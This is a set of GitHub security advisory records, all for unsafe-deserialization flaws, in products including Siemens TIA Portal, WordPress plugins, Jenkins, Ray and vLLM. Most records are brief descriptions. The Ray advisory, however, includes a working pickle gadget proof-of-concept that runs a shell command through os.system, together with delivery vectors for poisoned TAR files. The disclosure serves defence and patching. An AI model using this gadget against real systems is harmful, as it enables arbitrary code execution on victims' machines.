CWE-502

{
  "affected": [],
  "aliases": [
    "CVE-2025-40759"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-12T12:15:36Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified in SIMATIC S7-PLCSIM V17 (All versions), SIMATIC STEP 7 V17 (All versions), SIMATIC STEP 7 V18 (All versions), SIMATIC STEP 7 V19 (All versions \u003c V19 Update 4), SIMATIC STEP 7 V20 (All versions), SIMATIC WinCC V17 (All versions), SIMATIC WinCC V18 (All versions), SIMATIC WinCC V19 (All versions \u003c V19 Update 4), SIMATIC WinCC V20 (All versions), SIMOCODE ES V17 (All versions), SIMOCODE ES V18 (All versions), SIMOCODE ES V19 (All versions), SIMOCODE ES V20 (All versions), SIMOTION SCOUT TIA V5.4 (All versions), SIMOTION SCOUT TIA V5.5 (All versions), SIMOTION SCOUT TIA V5.6 (All versions \u003c V5.6 SP1 HF7), SIMOTION SCOUT TIA V5.7 (All versions), SINAMICS Startdrive V17 (All versions), SINAMICS Startdrive V18 (All versions), SINAMICS Startdrive V19 (All versions), SINAMICS Startdrive V20 (All versions), SIRIUS Safety ES V17 (TIA Portal) (All versions), SIRIUS Safety ES V18 (TIA Portal) (All versions), SIRIUS Safety ES V19 (TIA Portal) (All versions), SIRIUS Safety ES V20 (TIA Portal) (All versions), SIRIUS Soft Starter ES V17 (TIA Portal) (All versions), SIRIUS Soft Starter ES V18 (TIA Portal) (All versions), SIRIUS Soft Starter ES V19 (TIA Portal) (All versions), SIRIUS Soft Starter ES V20 (TIA Portal) (All versions), TIA Portal Cloud V17 (All versions), TIA Portal Cloud V18 (All versions), TIA Portal Cloud V19 (All versions \u003c V5.2.1.1), TIA Portal Cloud V20 (All versions). Affected products do not properly sanitize stored security properties when parsing project files. This could allow an attacker to cause a type confusion and execute arbitrary code within the affected application.",
  "id": "GHSA-hgv7-qqgv-vj6c",
  "modified": "2025-08-12T12:30:33Z",
  "published": "2025-08-12T12:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-40759"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-493396.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-1772"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-13T16:15:27Z",
    "severity": "HIGH"
  },
  "details": "The Play.ht \u2013 Make Your Blog Posts Accessible With Text to Speech Audio plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.6.4 via deserialization of untrusted input from the play_podcast_data post meta. This makes it possible for authenticated attackers, with contributor-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable plugin. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.",
  "id": "GHSA-hh6q-4r6g-qqjg",
  "modified": "2026-04-08T18:32:46Z",
  "published": "2024-03-13T18:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1772"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/play-ht/trunk/includes/class-ajax-handler.php#L138"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/83a595b7-379c-4202-abdd-d8ba4a30c6a4?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-31103"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-31T05:15:16Z",
    "severity": "HIGH"
  },
  "details": "Untrusted data deserialization vulnerability exists in a-blog cms. Processing a specially crafted request may store arbitrary files on the server where the product is running. This can be leveraged to execute an arbitrary script on the server.",
  "id": "GHSA-hhgp-h65v-gf93",
  "modified": "2025-03-31T06:30:27Z",
  "published": "2025-03-31T06:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31103"
    },
    {
      "type": "WEB",
      "url": "https://developer.a-blogcms.jp/blog/news/entry-4197.html"
    },
    {
      "type": "WEB",
      "url": "https://developer.a-blogcms.jp/blog/news/security-update202503.html"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN66982699"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-2006"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-13T16:15:30Z",
    "severity": "HIGH"
  },
  "details": "The Post Grid, Slider \u0026 Carousel Ultimate \u2013 with Shortcode, Gutenberg Block \u0026 Elementor Widget plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.6.7 via deserialization of untrusted input in the outpost_shortcode_metabox_markup function. This makes it possible for authenticated attackers, with contributor-level access and above, to inject a PHP Object. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.",
  "id": "GHSA-hhhv-vcm4-mp23",
  "modified": "2026-04-08T18:32:47Z",
  "published": "2024-03-13T18:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2006"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/post-grid-carousel-ultimate/trunk/includes/classes/metabox.php#L43"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?old_path=/post-grid-carousel-ultimate/tags/1.6.7\u0026old=3045923\u0026new_path=/post-grid-carousel-ultimate/tags/1.6.8\u0026new=3045923\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8cf1b234-862b-41a0-ab63-a986f8023613?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-0960"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-22T18:15:00Z",
    "severity": null
  },
  "details": "A vulnerability was found in SeaCMS 11.6 and classified as problematic. Affected by this issue is some unknown functionality of the file /data/config.ftp.php of the component Picture Management. The manipulation leads to deserialization. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-221630 is the identifier assigned to this vulnerability.",
  "id": "GHSA-hhp2-4jg9-9w8m",
  "modified": "2023-02-22T18:30:32Z",
  "published": "2023-02-22T18:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0960"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jidle123/Seacms-v11.6/issues/1"
    },
    {
      "type": "WEB",
      "url": "https://note.youdao.com/ynoteshare/index.html?id=ef23876c8744c5c230f3874387c06b11"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.221630"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.221630"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.138.3"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.main:jenkins-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.138.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.153"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.main:jenkins-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.140"
            },
            {
              "fixed": "2.154"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-1000861"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-06-30T15:56:17Z",
    "nvd_published_at": "2018-12-10T14:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "A code execution vulnerability exists in the Stapler web framework used by Jenkins 2.153 and earlier, LTS 2.138.3 and earlier in stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java that allows attackers to invoke some methods on Java objects by accessing crafted URLs that were not intended to be invoked this way.",
  "id": "GHSA-hhpm-5cp2-hg4x",
  "modified": "2025-10-22T17:35:50Z",
  "published": "2022-05-13T01:01:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000861"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/jenkins/commit/47f38d714c99e1841fb737ad1005618eb26ed852"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHBA-2019:0024"
    },
    {
      "type": "WEB",
      "url": "https://jenkins.io/security/advisory/2018-12-05/#SECURITY-595"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2018-1000861"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/166778/Jenkins-Remote-Code-Execution.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/106176"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Deserialization of Untrusted Data in Jenkins"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "ray"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.56.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57516"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T15:47:38Z",
    "nvd_published_at": "2026-07-01T17:16:37Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`ray.data.read_webdataset(paths=...)` is a `@PublicAPI(stability=\"alpha\")`\nreader for WebDataset-format TAR files. Its default `decoder=True` invokes\n`_default_decoder` on every sample\u0027s keys, which routes file extension to a\ndecoder by extension. Two of those branches deserialize attacker-controlled\nbytes with no validation:\n\n- `.pickle` / `.pkl` -\u003e `pickle.loads(value)`\n- `.pt`     / `.pth` -\u003e `torch.load(io.BytesIO(value), weights_only=False)`\n\nBoth fire during a standard `ray.data.read_webdataset(...).take_all()` /\n`.iter_batches()` call. No flags, no opt-in, no environment variable.\nAn attacker who can supply a TAR (via S3 share, HuggingFace Hub mirror,\nemail attachment, model-zoo, or any HTTP URL the user passes to\n`read_webdataset`) achieves arbitrary code execution in the calling\nRay process at schema-sample time, before row data is consumed.\n\nThis is the same class of bug as GHSA-mw35-8rx3-xf9r (Parquet Arrow\nExtension Type cloudpickle deserialization, patched in 2.55.0): standard\ndata-loading API, attacker-controlled file format, deserialization gadget\ninvoked transparently. The 2.55.0 patch addressed\n`tensor_extensions/arrow.py:_deserialize_with_fallback` and made cloudpickle\nopt-in via `RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1`. The\nWebDataset path is a different code site and was not touched.\n\n## Vulnerable code (HEAD `a157d4d`)\n\n`python/ray/data/_internal/datasource/webdataset_datasource.py` lines\n175-225, the `_default_decoder` function:\n\n```python\ndef _default_decoder(sample, format=True):\n    sample = dict(sample)\n    for key, value in sample.items():\n        extension = key.split(\".\")[-1]\n        ...\n        elif extension in [\"pt\", \"pth\"]:\n            import torch\n            # PyTorch 2.6 changed torch.load default weights_only=True, which\n            # breaks loading general Python objects previously serialized for\n            # WebDataset .pt payloads.\n            sample[key] = torch.load(io.BytesIO(value), weights_only=False)   # line 219\n        elif extension in [\"pickle\", \"pkl\"]:\n            import pickle\n            sample[key] = pickle.loads(value)                                 # line 223\n    return sample\n```\n\nThe comment for the `.pt/.pth` branch is itself a security smell: it\ndocuments that the maintainer chose `weights_only=False` *to override*\nPyTorch 2.6\u0027s safer default. The comment treats this as a compatibility\nfix; it functionally re-enables an arbitrary-code-execution path that\nupstream PyTorch closed.\n\n## Reachability and default-on confirmation\n\n`python/ray/data/read_api.py:2289` defines `read_webdataset` with default\n`decoder=True`:\n\n```python\n@PublicAPI(stability=\"alpha\")\ndef read_webdataset(\n    paths,\n    *,\n    ...\n    decoder: Optional[Union[bool, str, callable, list]] = True,\n    ...\n) -\u003e Dataset:\n    ...\n    datasource = WebDatasetDatasource(paths, decoder=decoder, ...)\n```\n\n`WebDatasetDatasource._read_stream` (line 367) calls the decoder\nunconditionally when not None:\n\n```python\nfor sample in samples:\n    if self.decoder is not None:\n        sample = _apply_list(self.decoder, sample, default=_default_decoder)\n```\n\n`True is not None` evaluates True, so the default decoder fires for every\ninvocation that doesn\u0027t explicitly pass `decoder=None` (or a custom safe\ndecoder). The documentation does not warn about the behavior.\n\n## End-to-end reproduction\n\nTested on a fresh venv (`pip install ray[data]`) on Linux x86_64. Ray\nreports `__version__ == \"2.55.1\"` (the patched-against-GHSA-mw35 release):\n\n```python\nimport io, os, pickle, subprocess, tarfile, tempfile, sys\n\nMARKER = \"/tmp/ray_webdataset_poc_rce_marker\"\n\nclass Gadget:\n    def __reduce__(self):\n        cmd = (f\"/bin/sh -c \\\"printf \u0027RCE via ray.data.read_webdataset\\\\n\"\n               f\"pid=%s\\\\nuser=%s\\\\n\u0027 \\\"$$\\\" \\\"$(whoami)\\\" \u003e {MARKER}\\\"\")\n        return (os.system, (cmd,))\n\nwith tempfile.NamedTemporaryFile(suffix=\".tar\", delete=False) as f:\n    tar_path = f.name\nwith tarfile.open(tar_path, \"w\") as tar:\n    for name, body in ((\"000000.txt\", b\"hello\"),\n                       (\"000000.pkl\", pickle.dumps(Gadget()))):\n        ti = tarfile.TarInfo(name=name); ti.size = len(body)\n        tar.addfile(ti, io.BytesIO(body))\n\nimport ray, ray.data\nray.init(num_cpus=2, ignore_reinit_error=True, log_to_driver=False)\nds = ray.data.read_webdataset(paths=[tar_path])\nrows = ds.take_all()\nassert os.path.exists(MARKER), \"no RCE\"\nprint(open(MARKER).read())\n```\n\nOutput:\n\n```\nray version: 2.55.1\ncrafted /tmp/tmpjpos115h.tar (10240 bytes)\nds.take_all() returned 1 row(s)\nRCE CONFIRMED:marker at /tmp/ray_webdataset_poc_rce_marker:\n    RCE via ray.data.read_webdataset\n    pid=248816\n    user=xyz\n```\n\nThe `.pt/.pth` variant is the exact same primitive against the\n`torch.load(io.BytesIO(value), weights_only=False)` branch; replace the\nTAR member with `000000.pt` containing `torch.save(Gadget())` to reproduce.\n\n## Real-world delivery vectors\n\n- `paths=[\"s3://bucket/poisoned.tar\"]` -- the user thinks they are reading\n  a WebDataset shard; the bucket is shared, mis-permissioned, or\n  compromised.\n- `paths=[\"https://attacker/model.tar\"]` -- HTTP-served WebDataset.\n- HuggingFace Hub -- WebDataset is a recognized HF dataset format; users\n  pull TAR shards via `datasets` and feed them to Ray Data.\n- Model-zoo / leaderboard tarballs -- common in CV/ASR workflows.\n\n## Why GHSA-mw35 doesn\u0027t cover this\n\nGHSA-mw35-8rx3-xf9r patched `tensor_extensions/arrow.py:_deserialize_with_fallback`\nby gating `cloudpickle.loads` behind\n`RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1`. That change touches\nthe Parquet ExtensionType deserialization path only. The advisory text\ndoes not mention WebDataset, the WebDataset code is in a different\nmodule, and the unsafe loads here use `pickle.loads` and\n`torch.load(weights_only=False)` (not `cloudpickle.loads`).\n\n## Suggested patch\n\nTwo minimal options, both Ray-internal:\n\n1. **Make the unsafe extensions opt-in**, mirroring the GHSA-mw35 fix\n   pattern. Replace the `.pt/.pth` and `.pkl/.pickle` branches with a\n   guard:\n\n   ```python\n   import os\n   _ALLOW_UNSAFE = os.environ.get(\n       \"RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE\", \"0\"\n   ) == \"1\"\n\n   elif extension in [\"pt\", \"pth\"]:\n       if not _ALLOW_UNSAFE:\n           raise ValueError(\n               f\"Refusing to load .pt/.pth member {key!r} from WebDataset \"\n               f\"with weights_only=False. Set \"\n               f\"RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 only for trusted \"\n               f\"sources.\"\n           )\n       sample[key] = torch.load(io.BytesIO(value), weights_only=False)\n\n   elif extension in [\"pickle\", \"pkl\"]:\n       if not _ALLOW_UNSAFE:\n           raise ValueError(\n               f\"Refusing to unpickle WebDataset member {key!r} -- \"\n               f\"untrusted pickle is RCE. Provide your own decoder \"\n               f\"or set RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 for \"\n               f\"trusted sources.\"\n           )\n       sample[key] = pickle.loads(value)\n   ```\n\n2. **Drop these branches from the default decoder entirely** and require\n   callers to provide their own decoder when working with .pkl/.pt\n   samples. This is the safer default, matches WebDataset upstream\u0027s\n   guidance (\"by default, use safe decoders\"), and is consistent with\n   the spirit of the GHSA-mw35 patch.\n\nEither option flips the default-on RCE primitive into an explicit\nopt-in. The current default-on behavior provides no signal to users\nthat calling `ray.data.read_webdataset` on an untrusted TAR is\nequivalent to running attacker code.\n\n## References\n\n- Source: `python/ray/data/_internal/datasource/webdataset_datasource.py:175-225`\n- Public API: `python/ray/data/read_api.py:2287-2370` (`read_webdataset`)\n- Sibling advisory of the same class: GHSA-mw35-8rx3-xf9r (Parquet\n  Arrow Extension Type, patched 2.55.0)\n- Earlier related advisory: PR #45084 (2024) fixed PyExtensionType\n  cloudpickle but did not touch the WebDataset decoder.\n- WebDataset format: https://github.com/webdataset/webdataset",
  "id": "GHSA-hhrp-gw25-jr43",
  "modified": "2026-07-24T15:47:38Z",
  "published": "2026-07-24T15:47:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ray-project/ray/security/advisories/GHSA-hhrp-gw25-jr43"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57516"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ray-project/ray/pull/63469"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ray-project/ray/pull/63470"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ray-project/ray/commit/41443a18f9e6403a072de69098a279c23e2d943c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/ray/PYSEC-2026-2273.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ray-project/ray"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ray-project/ray/releases/tag/ray-2.56.0"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/ray-unsafe-deserialization-rce-via-webdataset-reader"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Ray: Arbitrary code execution via ray.data.read_webdataset default decoder: pickle.loads(value) and torch.load(weights_only=False)"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "vllm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.6.5"
            },
            {
              "fixed": "0.8.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-32444"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-29T14:52:29Z",
    "nvd_published_at": "2025-04-30T01:15:51Z",
    "severity": "CRITICAL"
  },
  "details": "## Impacted Deployments\n\n**Note that vLLM instances that do NOT make use of the mooncake integration are NOT vulnerable.**\n\n## Description\n\nvLLM integration with mooncake is vaulnerable to remote code execution due to using `pickle` based serialization over unsecured ZeroMQ sockets. The vulnerable sockets were set to listen on all network interfaces, increasing the likelihood that an attacker is able to reach the vulnerable ZeroMQ sockets to carry out an attack.\n\n\nThis is a similar to [GHSA - x3m8 - f7g5 - qhm7](https://github.com/vllm-project/vllm/security/advisories/GHSA-x3m8-f7g5-qhm7), the problem is in\n\nhttps://github.com/vllm-project/vllm/blob/32b14baf8a1f7195ca09484de3008063569b43c5/vllm/distributed/kv_transfer/kv_pipe/mooncake_pipe.py#L179\n\nHere [recv_pyobj()](https://github.com/zeromq/pyzmq/blob/453f00c5645a3bea40d79f53aa8c47d85038dc2d/zmq/sugar/socket.py#L961) Contains implicit `pickle.loads()`, which leads to potential RCE.",
  "id": "GHSA-hj4w-hm2g-p6w5",
  "modified": "2025-05-29T16:51:22Z",
  "published": "2025-04-29T14:52:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-hj4w-hm2g-p6w5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-x3m8-f7g5-qhm7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32444"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/commit/a5450f11c95847cf51a17207af9a3ca5ab569b2c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2025-42.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vllm-project/vllm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/blob/32b14baf8a1f7195ca09484de3008063569b43c5/vllm/distributed/kv_transfer/kv_pipe/mooncake_pipe.py#L179"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vLLM Vulnerable to Remote Code Execution via Mooncake Integration"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-78529"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-10T20:16:46Z",
    "severity": "CRITICAL"
  },
  "details": "Unauthenticated PHP Object Injection in Alliance \u003c= 3.11 versions.",
  "id": "GHSA-hj6g-q8vx-x324",
  "modified": "2026-10-10T21:31:20Z",
  "published": "2026-10-10T21:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78529"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/theme/alliance/vulnerability/wordpress-alliance-theme-3-11-php-object-injection-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-24221"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-02T17:16:27Z",
    "severity": "HIGH"
  },
  "details": "NVIDIA NVTabular contains a vulnerability where an attacker could cause improper deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering and information disclosure.",
  "id": "GHSA-hj75-h2wq-2xm2",
  "modified": "2026-06-02T18:31:33Z",
  "published": "2026-06-02T18:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24221"
    },
    {
      "type": "WEB",
      "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5851"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-24221"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}